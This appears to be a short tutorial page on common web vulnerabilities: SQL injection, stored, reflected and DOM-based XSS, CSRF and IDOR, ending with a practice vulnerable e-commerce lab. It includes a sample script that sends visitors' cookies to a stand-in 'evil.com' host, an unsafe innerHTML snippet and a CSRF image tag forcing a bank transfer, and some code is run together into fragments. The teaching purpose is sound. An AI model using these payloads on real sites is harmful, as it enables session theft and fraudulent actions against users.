Understand common web vulnerabilities, attack patterns, and defensive techniques. Essential knowledge for building secure applications and testing for weaknesses.
Abusing database queries by injecting malicious SQL code through user input.
Injecting malicious scripts into websites. The core problem is that in HTML/CSS, there's no difference between control (HTML tags) and data (text). Any time an attacker can insert arbitrary data, they can run code in the viewer's browser.
PortSwigger has a good article on XSS
The malicious payload is saved on the server and delivered to every user who views that data.
Example: Attacker posts a comment with a script tag. Anyone loading the page executes that script.
Nice article! <script>fetch('http://evil.com/steal?c='+document.cookie)</script>The payload is immediately bounced ("reflected") back in the server's response, not stored.
Example:
https://example.com/search?q=<script>alert(1)</script>Server naively renders: You searched for: <script>alert(1)</script>
The injection never touches the server. The browser's own JavaScript takes attacker-controlled input and manipulates the DOM unsafely.
<script>
let query = location.hash.substr(1);
document.getElementById('q').innerHTML = query;
</script>Danger: Completely bypasses server-side sanitization.
CSRF happens when a victim's browser, already authenticated to a site, is tricked into making an unwanted request. The attacker "rides" the victim's session cookies to execute unintended actions.
Pattern: Exploit implicit trust (cookies, bearer tokens automatically sent).
bank.com<img src="https://bank.com/transfer?to=attacker&amount=1000">id=123 to id=124)Electricity Shop is a Tenzai-built vulnerable e-commerce application. Run it locally and find as many vulnerabilities as you can.